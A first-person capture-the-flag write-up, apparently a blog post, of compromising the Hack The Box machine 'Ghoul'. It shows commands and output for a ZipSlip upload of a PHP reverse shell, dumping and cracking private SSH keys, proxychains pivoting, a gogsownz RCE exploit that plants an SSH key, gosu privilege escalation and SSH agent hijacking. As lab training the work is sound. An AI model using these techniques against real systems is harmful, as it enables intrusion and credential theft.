As with any machine, I start with a number of port scans. However the first scans returned without much result so I added the box name to my /etc/hosts and scanned again, not expecting any different result. Surprisingly, it came back with more results now!
root@kalivm:~/Ghoul# nmap -A -oN fullscan-A ghoul.htb Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-14 10:10 CEST Nmap scan report for ghoul.htb (10.10.10.101) Host is up (0.018s latency). Not shown: 996 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 c1:1c:4b:0c:c6:de:ae:99:49:15:9e:f9:bc:80:d2:3f (RSA) |_ 256 a8:21:59:7d:4c:e7:97:ad:78:51:da:e5:f0:f9:ab:7d (ECDSA) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Aogiri Tree 2222/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 63:59:8b:4f:8d:0a:e1:15:44:14:57:27:e7:af:fb:3b (RSA) | 256 8c:8b:a0:a8:85:10:3d:27:07:51:29:ad:9b:ec:57:e3 (ECDSA) |_ 256 9a:f5:31:4b:80:11:89:26:59:61:95:ff:5c:68:bc:a7 (ED25519) 8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1 | http-auth: | HTTP/1.1 401 Unauthorized\x0D |_ Basic realm=Aogiri |_http-server-header: Apache-Coyote/1.1 |_http-title: Apache Tomcat/7.0.88 - Error report ----snip---- Nmap done: 1 IP address (1 host up) scanned in 21.08 seconds
So we have ports 22 and 2222 serving SSH, and port 80 and 8080 for HTTP, just with different web servers. After some poking around on the website hosted at port 80, I do not see much of interest yet.
A normal web page, containing anime pictures
A secret.php file which contains a fake user flag. Nothing of much interest, so I continue to the page on port 8080 which appears to be password protected.
However if I try one of the most common combinations, we find out quickly that username: admin, and password: admin work!
A’Sierra’ website is displayed which immediately presents upload capabilities. the only question is where these files are uploaded to.
After uploading, a page is displayed that thanks me for uploading, but I still cannot figure out where. After asking around on Discord, I got the tip that I should look for the ZipSlip vulnerability. One google query further, and there was possible way to upload files to a location that is under my control, so I prepared a file with a regular PHP Reverse webshell.
root@kalivm:~/Ghoul# unzip -l sedje.zip Archive: sedje.zip Length Date Time Name --------- ---------- ----- ---- 3461 2019-09-14 10:33 ../../../../../../../../../../../../../../../../../../../var/www/html/shell.php --------- ------- 3461 2 files
After a final check to see if the zip file was created with the right file and a lot of ../ calls in it, I uploaded it to the server, called it with the browser and…
root@kalivm:~/Ghoul# nc -nlvp 9999 Listening on [0.0.0.0] (family 2, port 9999) Listening on 0.0.0.0 9999 Connection received on 10.10.10.101 59220 Linux Aogiri 4.15.0-45-generic #48-Ubuntu SMP Tue Jan 29 16:28:13 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux 17:18:43 up 25 min, 0 users, load average: 0.37, 0.32, 0.42 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $
Now I’ve got a shell as www-data! Time to enumerate more to see how I can get the user flag!
$ ls -al /home total 36 drwxr-xr-x 1 root root 4096 Dec 13 2018 . drwxr-xr-x 1 root root 4096 Dec 13 2018 .. drwx------ 1 Eto Eto 4096 Dec 13 2018 Eto drwx------ 1 kaneki kaneki 4096 Dec 13 2018 kaneki drwx------ 1 noro noro 4096 Dec 13 2018 noro
Wait… there are three user directories and none of them are even readable. Time for more enumeration. After a lot of searching, and finding some interesting directories such as
www-data@Aogiri:/$ ls /var/tmp ls /var/tmp angecrypt.py edited_NSA-Report.pdf f.zip hunt.zip k.zip sedje.zip txt
/var/tmp which, amongst others, contained the uploaded .zip files and some weird python script and a PDF file. However, upon further inspection, none of them were really interesting. The /var/backups directory on the other hand, contained a subdirectory with some interesting things.
ls /var/backups/backups Important.pdf keys note.txt sales.xlsx www-data@Aogiri:/$ cat /var/backups/backups/note.txt cat /var/backups/backups/note.txt The files from our remote server Ethereal will be saved here. I'll keep updating it overtime, so keep checking.
Files from a remote server, and a keys directory?
www-data@Aogiri:/$ head /var/backups/backups/keys/* head /var/backups/backups/keys/* ==> /var/backups/backups/keys/eto.backup < == -----BEGIN RSA PRIVATE KEY----- MIIEowIBAAKCAQEA8yqBhPGfUAyQ5QudsyRbUBx72RsV4C4vH52Ajgouhr7g1fmT bd5KxQsG5J9NhwBMb49SfRl5D22RjcDJWDmDWT6lTk+0USTC/ckDSsZeBVtiF+Ed twzzde4v74xeBso5JNOR/j+EF7JN+Cme9Ujk/ijBkydraVflVCgJeo5TCTOWoQwD 4KwOpNgzi5PqEReHO0YsHNsc9/zzSPxCUfDDCubT/G6ejVD7dgLQizuPeXQRXhl+ iNeuBuXLI8cSSseZs4IybL+QS9JeB9Eby6Gw6Fxfvi5t6+fNEenVRbEpZAu0yyfK LHK3lbOnH2p0MHNBO87OtXYqZeavXHltV1ivyQIDAQABAoIBAQDvVFur9IBfsi5+ MOOi6Nqyy4Yd1em+/tXEoSlhI6ZNWttB3uV7Enm23DaJmD0e7W1Ns9t1Yzfitm22 /hNtsRWVJfJfVFVeM/dy/4As/XaWgS3X4Op1Otr4rFkjxZzZw/lgRJgBjJQ/GnBh Gt3n/zna6VQ0uGygfzEolktWA3S4rNGk6DVf0qnYoE86P/ibdGfLtVU6TOpvzW9F ==> /var/backups/backups/keys/kaneki.backup < == -----BEGIN RSA PRIVATE KEY----- Proc-Type: 4,ENCRYPTED DEK-Info: AES-128-CBC,9E9E4E88793BC9DB54A767FC0216491F wqcYgOwX3V511WRuXWuRheYyzo5DelW+/XsBtXoL8/Ow7/Tj4EC4dKCfas39HQW8 MNbTv51gYxQ/Vc3W1jEYSyxTCYAu600naUhX3+En7P8kje2s0I4VEZX0MJqgB/pv J9nPBtbXcqV6/v6Vkbc5kGtMiRVMYzS9KWiCOafveFQCr1orYmnNINsZou4AWrfB Ofr63sUVD8V1Rabnoltbo+pePXnQ6HqjpO1b2qCyUQBxDxwSFT5a+j5YvMYV3JXK HOo4D0fcMoBVT46pXga6wZtiB4XgeM/iB/xg6YfdfMPuDBJ6+fqZMjlm+GvEexkl EEtJAqoSG/yCOjedByVqmfKye9DaIY9Um2WkWcX1bVRlYktYtpb755aDmVVoQjb5 ==> /var/backups/backups/keys/noro.backup < == -----BEGIN RSA PRIVATE KEY----- MIIEowIBAAKCAQEAwCHIakNYvrjkOI3JB2zvLHbZLNwpumIInvcqLnBb6h+qwUsa lnUJ/D3UPx4K1zfkbxA9vGkQtJJMwAi+/YMfURkuP5MamQZT8j/ZruwVpgtSdDSw AsLNJr4p87aYsVGjY9sOFmgQXtvjKX3kaKPQG5OLAXGQuw3umWZekUaq3bG9ZE2U ljF8sSDiTGa3Pt3QHOfn2ro0pMnlW7nY0pS394PMYrP7khNzrxoReMqWAxg0kWGy 2PKEnAzVNHkHsRjF2HGNdM+X+vYZ672mfMJL0yl8Kh6DKYLYwc+TcXsJ2OlKoXTJ 9C5BHmXbSulD0R3X0sKMYzoEso2hJoVNNd3fqQIDAQABAoIBAA1TypUkasmABcSu gR1Uvxp0fAgSlYpqNnLgbjqebKHG5I9X6FY7dB/dIhXmvZXEOMJDfCTPnOsJou1H Lghjyg5UEtMyHwwyVixdpXnuwmmsK2IILZVjcduYIUzYg6r5IL5SeZ2wRkJuOkms g+WGR29CQsgs2n8/LifR5Alrv3p1NQfhgqeHGVTTixSyN43wVbvI4mtklgNxJAG7
The keys directory appeared to contain the private keys of the Eto, kaneki and noro users on this box! Lets try each of them to see if I can get a user flag there!
root@kalivm:~/Ghoul# ssh -i eto.key Eto@10.10.10.101 Eto@Aogiri:~$ ls alert.txt Eto@Aogiri:~$ cat alert.txt Hey Noro be sure to keep checking the humans for IP logs and chase those little shits down!
User Eto, no luck. After spending some additional time, I could not find anything useful to escalate privileges either, so on to the next user for now.
root@kalivm:~/Ghoul# ssh -i kaneki.key email@example.com Enter passphrase for key 'kaneki.key':
A pass phrase? Since the entire box is anime themed, my first guess was that a regular wordlist would not suffice, so I decided to use cewl to create a wordlist of all pages and see if that would contain anything useful.
After having used ssh2john before, as written in this article, it was a piece of cake to do this again.
root@kalivm:~/Ghoul# python /usr/share/john/ssh2john.py kaneki.key > kaneki.hash root@kalivm:~/Ghoul# john --wordlist=./ghoulwl.txt kaneki.hash --format=SSH Using default input encoding: UTF-8 Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes Cost 2 (iteration count) is 1 for all loaded hashes Will run 4 OpenMP threads Note: This format may emit false positives, so it will keep trying even after finding a possible candidate. Press 'q' or Ctrl-C to abort, almost any other key for status ILoveTouka (kaneki.key) 1g 0:00:00:00 DONE (2019-09-17 19:36) 2.777g/s 1036p/s 1036c/s 1036C/s remote..moment Session completed
So the password is ILoveTouka! Lets try that again on the key and see if I can get access.
root@kalivm:~/Ghoul# ssh -i kaneki.key firstname.lastname@example.org Enter passphrase for key 'kaneki.key': Last login: Tue Sep 17 17:36:40 2019 from 10.10.15.166 kaneki@Aogiri:~$ ls note.txt notes secret.jpg user.txt kaneki@Aogiri:~$ cat user.txt 7c0f1104<NOFLAG>0a1c35c2
And there is the user flag!
After quite some post-exploitation of the different user accounts, several interesting items were found. These things included a password
kaneki@Aogiri:~$ grep -ir 'password=' / 2> /dev/null ----snip---- /usr/share/tomcat7/conf/tomcat-users.xml: <!--<user username="admin" password="test@aogiri123" roles="admin" /> ----snip----
Some more notes in user Kaneki’s home directory
kaneki@Aogiri:~$ cat notes I've set up file server into the server's network ,Eto if you need to transfer files to the server can use my pc. DM me for the access. kaneki@Aogiri:~$ cat note.txt Vulnerability in Gogs was detected. I shutdown the registration function on our server, please ensure that no one gets access to the test accounts.
A reference to a ssh user called kaneki_pub in user Kaneki’s .ssh/authorized_keys file
kaneki@Aogiri:~$ cat .ssh/authorized_keys ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDhK6T0d7TXpXNf2anZ/02E0NRVKuSWVslhHaJjUYtdtBVxCJg+wv1oFGPij9hgefdmFIKbvjElSr+rMrQpfCn6v7GmaP2QOjaoGPPX0EUPn9swnReRgi7xSKvHzru/ESc9AVIQIaeTypLNT/FmNuyr8P+gFLIq6tpS5eUjMHFyd68SW2shb7GWDM73tOAbTUZnBv+z1fAXv7yg2BVl6rkknHSmyV0kQJw5nQUTm4eKq2AIYTMB76EcHc01FZo9vsebBnD0EW4lejtSI/SRC+YCqqY+L9TZ4cunyYKNOuAJnDXncvQI8zpE+c50k3UGIatnS5f2MyNVn1l1bYDFQgYl kaneki_pub@kaneki-pc ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDsiPbWC8feNW7o6emQUk12tFOcucqoS/nnKN/LM3hCtPN8r4by8Ml1IR5DctjeurAmlJtXcn8MqlHCRbR6hZKydDwDzH3mb6M/gCYm4fD9FppbOdG4xMVGODbTTPV/h2Lh3ITRm+xNHYDmWG84rQe++gJImKoREkzsUNqSvQv4rO1RlO6W3rnz1ySPAjZF5sloJ8Rmnk+MK4skfj00Gb2mM0/RNmLC/rhwoUC+Wh0KPkuErg4YlqD8IB7L3N/UaaPjSPrs2EDeTGTTFI9GdcT6LIaS65CkcexWlboQu3DDOM5lfHghHHbGOWX+bh8VHU9JjvfC8hDN74IvBsy120N5 kaneki@Aogiri
To actually elevate my privileges to root, there was not much more to find on this system. There was only one additional thing that was interesting
kaneki@Aogiri:~$ ifconfig eth0: flags=4163 mtu 1500 inet 172.20.0.10 netmask 255.255.0.0 broadcast 172.20.255.255 ether 02:42:ac:14:00:0a txqueuelen 0 (Ethernet) RX packets 8184 bytes 922145 (922.1 KB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 7973 bytes 979896 (979.8 KB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
The IP address is not the 10.10.10.101 address, but a 172.20.0.10 address. So there are at least two other systems, one of them runs Gogs? (Let’s hope it is not Hackthebox – Craft all over again…) and it is reachable through Kaneki’s pc which, apparently is called kaneki-pc and has a user called kaneki_pub.
Time to start doing some reconnaissance on by pivoting around to Aogiri. Knowing that this can be done by using proxychains, still required me to do some research on it since I barely ever use it, but this article was located quickly and a short edit to the proxychains conf was required
root@kalivm:~/Ghoul# cat /etc/proxychains.conf # proxychains.conf VER 3.1 strict_chain quiet_mode proxy_dns tcp_read_time_out 15000 tcp_connect_time_out 8000 [ProxyList] socks5 127.0.0.1 9000
A new SSH session was created with dynamic forwarding
root@kalivm:~/Ghoul# ssh -i kaneki.key email@example.com -D 9000 Enter passphrase for key 'kaneki.key': Last login: Tue Sep 17 17:47:56 2019 from 10.10.15.202 kaneki@Aogiri:~$
Now I could use proxychains to start a portscan on the 172.20.0.0/24 range.
root@kalivm:~/Ghoul# proxychains nmap -sP 184.108.40.206/24 ProxyChains-3.1 (http://proxychains.sf.net) Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-17 19:53 CEST Nmap done: 256 IP addresses (0 hosts up) scanned in 251.33 seconds
No hosts up? I must have made a mistake somewhere
root@kalivm:~/Ghoul# proxychains nmap -n -sT -Pn -p 22 172.20.0.0/24 --open ProxyChains-3.1 (http://proxychains.sf.net) Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-17 20:58 CEST Nmap scan report for 172.20.0.1 Host is up (0.017s latency). PORT STATE SERVICE 22/tcp open ssh -- Nmap scan report for 172.20.0.10 Host is up (0.017s latency). PORT STATE SERVICE 22/tcp open ssh -- Nmap scan report for 172.20.0.150 Host is up (0.016s latency). PORT STATE SERVICE 22/tcp open ssh Nmap done: 256 IP addresses (256 hosts up) scanned in 775.63 seconds
So 3 hosts are alive, .1 is most likely the host itself (just like .10) so I start to focus on .150. Let’s first try to log in over ssh.
kaneki@Aogiri:~$ ssh firstname.lastname@example.org Enter passphrase for key '/home/kaneki/.ssh/id_rsa': Last login: Sun Jan 20 12:43:37 2019 from 172.20.0.10 kaneki_pub@kaneki-pc:~$
That simple? Really? Password for the SSH key re-used on this key. Nice and very common in the real world too! But now what. The home directory shows a to-do.txt with additional information.
kaneki_pub@kaneki-pc:~$ ls to-do.txt kaneki_pub@kaneki-pc:~$ cat to-do.txt Give AogiriTest user access to Eto for git.
So now I have a username for git! But what about the password. Well, what about the git system, where is it located? The note on Aogiri said that it would be accessible through this system.
After some reconnaissance on the box, I looked at the netstat output at just the right moment
kaneki_pub@kaneki-pc:~$ netstat -ano Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State Timer tcp 0 0 127.0.0.11:36529 0.0.0.0:* LISTEN off (0.00/0/0) tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN off (0.00/0/0) tcp 0 0 172.18.0.200:43896 172.18.0.1:2222 TIME_WAIT timewait (0.00/0/0) tcp 0 0 172.20.0.150:22 172.20.0.10:43208 ESTABLISHED keepalive (7087.09/0/0) tcp 0 0 172.20.0.150:22 172.20.0.10:43200 ESTABLISHED keepalive (6730.84/0/0) tcp6 0 0 :::22 :::* LISTEN off (0.00/0/0) udp 0 0 127.0.0.11:48063 0.0.0.0:* off (0.00/0/0) ----snip----
Apparently there is a connectino from 172.18.0.1 through this system on port 2222, but after a few seconds it was gone again. Interesting but not the most useful at this moment. Time for more recon and to chain some more ssh connections together to analyze the 172.18 segment!
Actually, this caused me quite some headache. The moment I changed the /etc/proxychains.conf file while using proxychains, it appeared that the current connections were also affected (i.e. disconnected). So after reading the man pages of proxychains, I found this entry
FILES proxychains looks for config file in following order: ./proxychains.conf $(HOME)/.proxychains/proxychains.conf /etc/proxychains.conf see more in /etc/proxychains.conf
So I created an additional directory called px and copied the proxychains.conf there and adjusted it for the second connection on port 10000.
root@kalivm:~/px# mkdir px root@kalivm:~/Ghoul# cd px/ root@kalivm:~/Ghoul/px# cp /etc/proxychains.conf . root@kalivm:~/Ghoul/px# sed -i 's/9000/10000/g' proxychains.conf root@kalivm:~/Ghoul/px# cat proxychains.conf # proxychains.conf VER 3.1 strict_chain quiet_mode proxy_dns tcp_read_time_out 15000 tcp_connect_time_out 8000 [ProxyList] socks5 127.0.0.1 10000
Ok, now I am set for using a local proxychains file for the last step.
In terminal 1 root@kalivm:~/Ghoul# ssh -i kaneki.key email@example.com -D 9000 Enter passphrase for key 'kaneki.key': Last login: Fri Sep 20 04:30:17 2019 from 10.10.12.29 kaneki@Aogiri:~$ In terminal 2 (It appeared that the previously used ssh key for kaneki was the same for kaneki_pub) root@kalivm:~/Ghoul# proxychains ssh -D 10000 -i kaneki.key firstname.lastname@example.org ProxyChains-3.1 (http://proxychains.sf.net) Enter passphrase for key 'pub_kan.key': Last login: Fri Sep 20 04:32:37 2019 from 172.20.0.10 kaneki_pub@kaneki-pc:~$ And in terminal 3, in the px directory root@kalivm:~/Ghoul/px# proxychains nmap -Pn -sT -n -p 22 172.18.0.0/24 --open ProxyChains-3.1 (http://proxychains.sf.net) Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-20 07:17 CEST Nmap scan report for 172.18.0.1 Host is up (0.017s latency). PORT STATE SERVICE 22/tcp open ssh Nmap scan report for 172.18.0.2 Host is up (0.015s latency). PORT STATE SERVICE 22/tcp open ssh Nmap scan report for 172.18.0.200 Host is up (0.017s latency). PORT STATE SERVICE 22/tcp open ssh Nmap done: 256 IP addresses (256 hosts up) scanned in 774.56 seconds
So there is a system live on 172.18.0.2 apparently. It is fairly well known that nmap over proxychains is terribly slow (774 seconds for 256 ports… that is very slow indeed!) So lets see if it also has the default gogs port (3000) open!
root@kalivm:~/px# proxychains nmap -Pn -sT -n -p 3000 172.18.0.2 ProxyChains-3.1 (http://proxychains.sf.net) Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-20 07:40 CEST Nmap scan report for 172.18.0.2 Host is up (0.016s latency). PORT STATE SERVICE 3000/tcp open ppp Nmap done: 1 IP address (1 host up) scanned in 0.08 seconds
So it is open, time to see if we can get a web connection to that system. First we setup an ssh tunnel using the ‘normal’ proxychains connection. With that connection, we try to forward the local port 3000 to the Gogs machine.
root@kalivm:~/Ghoul# proxychains ssh -i kaneki.key -L 3000:172.18.0.2:3000 email@example.com ProxyChains-3.1 (http://proxychains.sf.net) Enter passphrase for key 'kaneki.key': Last login: Fri Sep 20 05:13:21 2019 from 172.20.0.10 kaneki_pub@kaneki-pc:~$
And then we open a browser to localhost:3000 and see what happens.
A gogs login page! Now we can take a look at that AogiriTest user and some of the previously found passwords!
After some trial and error, we found that the use AogiriTest could log in with the commented password in the Apache Tomcat config file test@aogiri123. Within Gogs, there was not much of interest to be found. However, there was a note that said there was some kind of vulnerability in Gogs that still should be patched.
One simple google query and we see that there is a gogsownz CVE, which apparently can be used to gain Administrator Rights and RCE! So we clone the repository and start messing around with it.
root@kalivm:~/gogsownz# python3 gogsownz.py -C AogiriTest:test@aogiri123 -n i_like_gogits localhost:3000 --rce 'echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDsiPbWC8feNW7o6emQUk12tFOcucqoS/nnKN/LM3hCtPN8r4by8Ml1IR5DctjeurAmlJtXcn8MqlHCRbR6hZKydDwDzH3mb6M/gCYm4fD9FppbOdG4xMVGODbTTPV/h2Lh3ITRm+xNHYDmWG84rQe++gJImKoREkzsUNqSvQv4rO1RlO6W3rnz1ySPAjZF5sloJ8Rmnk+MK4skfj00Gb2mM0/RNmLC/rhwoUC+Wh0KPkuErg4YlqD8IB7L3N/UaaPjSPrs2EDeTGTTFI9GdcT6LIaS65CkcexWlboQu3DDOM5lfHghHHbGOWX+bh8VHU9JjvfC8hDN74IvBsy120N5 kaneki@kaneki-pc" >> /home/git/.ssh/authorized_keys; sleep 5' [i] Starting Gogsownz on: http://localhost:3000 [i] Gogs Version installed: © 2018 Gogs Version: 0.11.66.0916 [i] The Server is redirecting on the login page. Probably REQUIRE_SIGNIN_VIEW is enabled so you will need an account. [i] Exploiting authenticated PrivEsc... [i] Signed in as kaneki, is admin True [i] Current session cookie: 'b17ddd74e6001337' [i] Performed RCE successfully [i] Done!
After some fiddling, we enter our ssh key into git’s authorized key files and are now able to login.
kaneki_pub@kaneki-pc:~$ ssh firstname.lastname@example.org Enter passphrase for key '/home/kaneki_pub/.ssh/id_rsa': Welcome to Alpine! The Alpine Wiki contains a large amount of how-to guides and general information about administrating Alpine systems. See . You can setup the system with the command: setup-alpine You may change this message by editing /etc/motd. 3713ea5e4353:~$
After some standard privilege escalation searches, the analysis of SUID and GUID files became a bit interesting
3713ea5e4353:~$ find / -perm -u=s -type f 2>/dev/null /usr/bin/passwd /usr/bin/gpasswd /usr/bin/chage /usr/bin/chfn /usr/bin/chsh /usr/bin/newgrp /usr/bin/expiry /usr/sbin/gosu /bin/su
The gosu binary was something I had not encountered before and from what I read on their github, TTY-access should not be given as that poses a security risk! Some fiddling and a small nudge later, I got root access and could look in the /root directory…
3713ea5e4353:~$ gosu root /bin/sh 3713ea5e4353:/data/git# cd /root 3713ea5e4353:~# ls aogiri-app.7z session.sh 3713ea5e4353:~# cat session.sh #!/bin/bash while true do sleep 300 rm -rf /data/gogs/data/sessions sleep 2 curl -d 'user_name=kaneki&password=12345ILoveTouka!!!' http://172.18.0.2:3000/user/login done
Still no flag, just a note containing kaneki’s password and a 7z file. This box is driving me nuts with all its jumps and loops and lack of root.txt flag files!
Nevertheless, now that we got this far, we want to obtain that flag so we transfer the aogiri-app.7z file to our local machine, unpack it and start to analyze it.
root@kalivm:~/Ghoul/aogiri-app# 7z x aogiri-app.7z 7-Zip  16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21 p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs QEMU Virtual CPU version 2.5+ (663),ASM) Scanning the drive for archives: 1 file, 117507 bytes (115 KiB) Extracting archive: aogiri-app.7z -- Path = aogiri-app.7z Type = 7z Physical Size = 117507 Headers Size = 4011 Method = LZMA2:192k Solid = + Blocks = 1 Everything is Ok Folders: 114 Files: 125 Size: 154976 Compressed: 117507 root@kalivm:~/Ghoul/aogiri-app# ls -al total 52 drwxr-xr-x 5 root root 4096 Dec 29 2018 . drwxr-xr-x 3 root root 4096 Sep 15 13:23 .. drwxr-xr-x 8 root root 4096 Sep 15 13:23 .git -rw-r--r-- 1 root root 268 Dec 29 2018 .gitignore drwxr-xr-x 3 root root 4096 Dec 29 2018 .mvn -rwxr-xr-x 1 root root 9113 Dec 29 2018 mvnw -rw-r--r-- 1 root root 5810 Dec 29 2018 mvnw.cmd -rw-r--r-- 1 root root 2111 Dec 29 2018 pom.xml -rw-r--r-- 1 root root 124 Dec 29 2018 README.md drwxr-xr-x 4 root root 4096 Dec 29 2018 src
So I have now determined that I am in a directory that contained a full git repository of the Aogiri Chat App. After inspecting the entire structure, checking the git logs, findings some seemingly useless mysql username and password combinations, I got stuck again and asked for yet another nudge. This was the suggestion to use the git show ORIG_HEAD command. I had never heard of that command before so I blindly tried it, checking to see what it provided.
root@kalivm:~/aogiri-app# git show ORIG_HEAD commit 0d426b533d4f1877f8a114620be8a1294f34ab71 Author: kaneki Date: Sat Dec 29 11:44:50 2018 +0530 update dependencies diff --git a/pom.xml b/pom.xml index 92f24ee..fc1d313 100644 --- a/pom.xml +++ b/pom.xml @@ -48,6 +48,11 @@ javax.json 1.0 + + mysql + mysql-connector-java + 5.1.46 + diff --git a/src/main/resources/application.properties b/src/main/resources/application.properties index 4cbc10b..41adeb0 100644 --- a/src/main/resources/application.properties +++ b/src/main/resources/application.properties @@ -1,7 +1,7 @@ server.port=8080 spring.datasource.url=jdbc:mysql://localhost:3306/db -spring.datasource.username=kaneki -spring.datasource.password=7^Grc%C\7xEQ?tb4 +spring.datasource.username=root +spring.datasource.password=g_xEN$ZuWD7hJf2G server.address=0.0.0.0 spring.jpa.properties.hibernate.dialect = org.hibernate.dialect.MySQL5InnoDBDialect
More MySQL passwords that I had not yet seen before. After trying these passwords, I found that it was possible to become root on the kaneki-pc system but still can not find a flag.
kaneki_pub@kaneki-pc:~$ su - Password: su: Authentication failure kaneki_pub@kaneki-pc:~$ su - Password: root@kaneki-pc:~# ls root.txt root@kaneki-pc:~# cat root.txt You've done well to come upto here human. But what you seek doesn't lie here. The journey isn't over yet.....
However, the hint says we are close. Remembering the previous short incoming ssh connection, and knowing that I am root now, should give an idea of the right direction. Apparently this box was so confusing that I forgot all about that SSH connection, however a quick nudge put me back on the right tracks. SSH Session Hijacking! So checking on the incoming connections, seeing the ssh directory being created in /tmp, allows for SSH Hijacking. Since the session was live for only 30 seconds each time, it was a bit of a quick monitor and take action scenario. So in one terminal I opened a command checking for connections using the command
watch -n1 ps aux and in the other terminal I waited for the connection to come by
Every 1.0s: ps aux kaneki-pc: Sun Sep 15 07:24:36 2019 USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.0 0.4 54464 19816 pts/0 Ss+ 04:04 0:03 /usr/bin/python /usr/bin/supervisord -c /etc/supervisor/conf.d/su root 10 0.0 0.1 72296 6184 pts/0 S 04:04 0:00 /usr/sbin/sshd -D root 308 0.0 0.1 74660 6764 ? Ss 07:17 0:00 sshd: kaneki_pub [priv] kaneki_+ 310 0.0 0.0 74660 3408 ? R 07:17 0:00 sshd: kaneki_pub@pts/1 kaneki_+ 311 0.0 0.0 20256 3776 pts/1 Ss 07:17 0:00 -bash root 321 0.0 0.0 57700 3676 pts/1 S 07:17 0:00 su - root 322 0.0 0.0 18508 3492 pts/1 S 07:17 0:00 -su root 516 0.0 0.1 74660 6624 ? Ss 07:24 0:00 sshd: kaneki_adm [priv] kaneki_+ 521 0.0 0.0 74660 3260 ? S 07:24 0:00 sshd: kaneki_adm@pts/2 kaneki_+ 522 0.1 0.1 45188 5712 pts/2 Ss+ 07:24 0:00 ssh email@example.com -p 2222 -t ./log.sh root 556 0.0 0.0 34400 2800 pts/1 R+ 07:24 0:00 ps aux
root@kaneki-pc:~# SSH_AUTH_SOCK=/tmp/ssh-PU27LyO3un/agent.4455 ssh firstname.lastname@example.org -p 2222 Welcome to Ubuntu 18.04.1 LTS (GNU/Linux 4.15.0-45-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage * Canonical Livepatch is available for installation. - Reduce system reboots and improve kernel security. Activate at: https://ubuntu.com/livepatch 155 packages can be updated. 0 updates are security updates. Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings Last login: Sun Sep 15 06:54:02 2019 from 172.18.0.200 root@Aogiri:~# ls log.sh root.txt root@Aogiri:~# cat root.txt 7c0f110<NOFLAG>77539e72f
Finally the root flag! Obtaining this flag would not have been possible without the help of some people on Discord for which I am very greatfull. I learned quite a lot of things on this box and it is most certainly a great addition to my OSCP toolbelt and credo of ‘TryHarder!’.